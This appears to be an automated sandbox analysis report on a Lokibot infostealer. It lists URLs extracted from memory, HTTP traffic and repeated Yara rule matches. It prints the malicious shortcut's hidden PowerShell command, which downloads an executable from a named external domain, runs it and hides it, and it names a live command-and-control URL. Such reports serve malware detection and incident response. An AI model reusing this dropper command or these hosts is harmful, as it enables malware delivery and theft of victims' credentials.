Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3Date: Thu, 03 Oct 2024 07:22:39 GMTContent-Type: text/htmlConnection: closeX-Powered-By: PHP/5.3.3Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3Date: Thu, 03 Oct 2024 07:22:40 GMTContent-Type: text/htmlConnection: closeX-Powered-By: PHP/5.3.3Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3Date: Thu, 03 Oct 2024 07:22:41 GMTContent-Type: text/htmlConnection: closeX-Powered-By: PHP/5.3.3Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: screens.pif, 00000005.00000002.2659632439.00000000013D8000.00000004.00000020.00020000.00000000.sdmp, screens.pif, 00000005.00000002.2658959804.000000000049F000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://freighteighttwocam.ddns.net/mdifygidj/five/fre.php
Source: powershell.exe, 00000000.00000002.1487508963.0000027825C2D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://go.micros
Source: powershell.exe, 00000000.00000002.1536953245.0000027834D45000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000000.00000002.1487508963.0000027824EFA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000000.00000002.1487508963.0000027824EFA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000000.00000002.1487508963.0000027824CD1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000000.00000002.1487508963.0000027824EFA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000000.00000002.1487508963.0000027824EFA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: screens.pif, screens.pif, 00000005.00000002.2658959804.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://www.ibsensoftware.com/
Source: powershell.exe, 00000000.00000002.1487015359.0000027824BD1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.microsoft.
Source: powershell.exe, 00000000.00000002.1541215638.000002783CF06000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 00000000.00000002.1541077857.000002783CD90000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.microsoft.co7
Source: powershell.exe, 00000000.00000002.1487508963.00000278255C5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sodiumlaurethsulfatedesyroyer.com
Source: powershell.exe, 00000000.00000002.1487508963.0000027824CD1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000000.00000002.1487508963.0000027824EFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1487508963.00000278262FE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000000.00000002.1487508963.00000278262FE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: powershell.exe, 00000000.00000002.1536953245.0000027834D45000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000000.00000002.1536953245.0000027834D45000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000000.00000002.1536953245.0000027834D45000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000000.00000002.1487508963.0000027824EFA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.1487508963.0000027825C2D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: powershell.exe, 00000000.00000002.1536953245.0000027834D45000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000000.00000002.1487508963.00000278255BE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.sodiumlaurethsulfatedesyroyer.com
Source: powershell.exe, 00000000.00000002.1487060690.0000027824BDF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.sodiumlaurethsulfatedesyroyer.com/N
Source: powershell.exe, 00000000.00000002.1485393170.0000027822A18000.00000004.00000020.00020000.00000000.sdmp, Comprobante.lnk.lnk String found in binary or memory: https://www.sodiumlaurethsulfatedesyroyer.com/flow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrg
Source: powershell.exe, 00000000.00000002.1541215638.000002783CF06000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.sodiumlaurethsulfatedesyroyer.com/ow
Source: unknown Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49706 version: TLS 1.2

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 4.2.screens.pif.49889b8.2.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 4.2.screens.pif.49889b8.2.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 4.2.screens.pif.49889b8.2.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 4.2.screens.pif.49889b8.2.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.screens.pif.49889b8.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 4.2.screens.pif.49889b8.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 4.2.screens.pif.49889b8.2.raw.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 4.2.screens.pif.49889b8.2.raw.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.screens.pif.49889b8.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 5.2.screens.pif.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 5.2.screens.pif.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 5.2.screens.pif.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 5.2.screens.pif.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.screens.pif.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 5.2.screens.pif.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 5.2.screens.pif.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 5.2.screens.pif.400000.0.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 5.2.screens.pif.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.screens.pif.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000004.00000002.1509596429.0000000002F17000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000004.00000002.1509596429.0000000002F17000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000004.00000002.1509596429.0000000002F17000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.1509596429.0000000002EFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000004.00000002.1509596429.0000000002EFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000004.00000002.1509596429.0000000002EFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.1509596429.0000000002F32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000004.00000002.1509596429.0000000002F32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000004.00000002.1509596429.0000000002F32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.2658959804.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000005.00000002.2658959804.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000005.00000002.2658959804.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Loki Payload Author: kevoreilly
Source: 00000005.00000002.2658959804.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.2658959804.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000004.00000002.1517752482.0000000004988000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000004.00000002.1517752482.0000000004988000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000004.00000002.1517752482.0000000004988000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: Process Memory Space: screens.pif PID: 2208, type: MEMORYSTR Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: Process Memory Space: screens.pif PID: 688, type: MEMORYSTR Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
PE file contains section with special chars
Source: screens.pif.0.dr Static PE information: section name: j1CM!e^U
PE file has nameless sections
Source: screens.pif.0.dr Static PE information: section name:
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Desktop\screens.pif Jump to dropped file
Windows shortcut file (LNK) contains suspicious command line arguments
Source: Comprobante.lnk.lnk LNK file: -ExecutionPolicy Bypass -WindowStyle hiDDEn -HiDdEn -Command ddisplay.dll;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/flow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.pif','screens.pif');./'screens.pif';(get-item 'screens.pif').Attributes += 'Hidden';
Contains functionality to call native functions
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABEDBB0 NtResumeThread, 4_2_0ABEDBB0
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABED9F8 NtReadVirtualMemory, 4_2_0ABED9F8
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABEDF28 NtSetContextThread, 4_2_0ABEDF28
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABEDDD0 NtWriteVirtualMemory, 4_2_0ABEDDD0
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABEDBA8 NtResumeThread, 4_2_0ABEDBA8
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABED9F0 NtReadVirtualMemory, 4_2_0ABED9F0
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABEDF21 NtSetContextThread, 4_2_0ABEDF21
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABEDDC9 NtWriteVirtualMemory, 4_2_0ABEDDC9
Detected potential crypto function
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D546C0 4_2_02D546C0
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D53760 4_2_02D53760
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D56F28 4_2_02D56F28
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D524D8 4_2_02D524D8
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D508E1 4_2_02D508E1
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D5D038 4_2_02D5D038
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D5B5B8 4_2_02D5B5B8
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D5B978 4_2_02D5B978
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D52D20 4_2_02D52D20
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D56A90 4_2_02D56A90
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D56A80 4_2_02D56A80
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D5A668 4_2_02D5A668
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D56218 4_2_02D56218
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D518CF 4_2_02D518CF
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D564F1 4_2_02D564F1
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D56870 4_2_02D56870
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D56863 4_2_02D56863
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D52439 4_2_02D52439
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D545C0 4_2_02D545C0
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D579C2 4_2_02D579C2
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D531E8 4_2_02D531E8
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D5459F 4_2_02D5459F
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D56D58 4_2_02D56D58
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D56D48 4_2_02D56D48
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE0B88 4_2_0ABE0B88
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABEE08F 4_2_0ABEE08F
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE2637 4_2_0ABE2637
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABECDC0 4_2_0ABECDC0
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE0B78 4_2_0ABE0B78
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE0006 4_2_0ABE0006
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE0040 4_2_0ABE0040
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE1FB8 4_2_0ABE1FB8
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE1FC8 4_2_0ABE1FC8
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABEBC27 4_2_0ABEBC27
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE8520 4_2_0ABE8520
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABECD1C 4_2_0ABECD1C
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0AEA0040 4_2_0AEA0040
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0AEA0025 4_2_0AEA0025
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0D067918 4_2_0D067918
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0D065528 4_2_0D065528
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0D067088 4_2_0D067088
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0D068393 4_2_0D068393
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0D0692E0 4_2_0D0692E0
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0D060F08 4_2_0D060F08
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0D0619C8 4_2_0D0619C8
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0D0619D8 4_2_0D0619D8
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0D06B8B8 4_2_0D06B8B8
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0D061778 4_2_0D061778
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0D06B620 4_2_0D06B620
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0D0616E8 4_2_0D0616E8
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0D0611F3 4_2_0D0611F3
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0D06704A 4_2_0D06704A
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0D060310 4_2_0D060310
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0D060320 4_2_0D060320
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0D067358 4_2_0D067358
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0D06A218 4_2_0D06A218
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0D06F218 4_2_0D06F218
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0D0692BA 4_2_0D0692BA
Source: C:\Users\user\Desktop\screens.pif Code function: 5_2_0040549C 5_2_0040549C
Source: C:\Users\user\Desktop\screens.pif Code function: 5_2_004029D4 5_2_004029D4
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\screens.pif Code function: String function: 0041219C appears 45 times
Source: C:\Users\user\Desktop\screens.pif Code function: String function: 00405B6F appears 42 times
One or more processes crash
Source: C:\Users\user\Desktop\screens.pif Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6092 -s 80
PE file contains executable resources (Code or Archives)
Source: screens.pif.0.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Yara signature match
Source: 4.2.screens.pif.49889b8.2.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 4.2.screens.pif.49889b8.2.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 4.2.screens.pif.49889b8.2.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 4.2.screens.pif.49889b8.2.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.screens.pif.49889b8.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 4.2.screens.pif.49889b8.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 4.2.screens.pif.49889b8.2.raw.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 4.2.screens.pif.49889b8.2.raw.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.screens.pif.49889b8.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 5.2.screens.pif.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 5.2.screens.pif.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 5.2.screens.pif.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.2.screens.pif.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.screens.pif.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 5.2.screens.pif.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 5.2.screens.pif.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 5.2.screens.pif.400000.0.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.2.screens.pif.400000.0.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.screens.pif.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000004.00000002.1509596429.0000000002F17000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000004.00000002.1509596429.0000000002F17000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000004.00000002.1509596429.0000000002F17000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.1509596429.0000000002EFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000004.00000002.1509596429.0000000002EFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000004.00000002.1509596429.0000000002EFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.1509596429.0000000002F32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
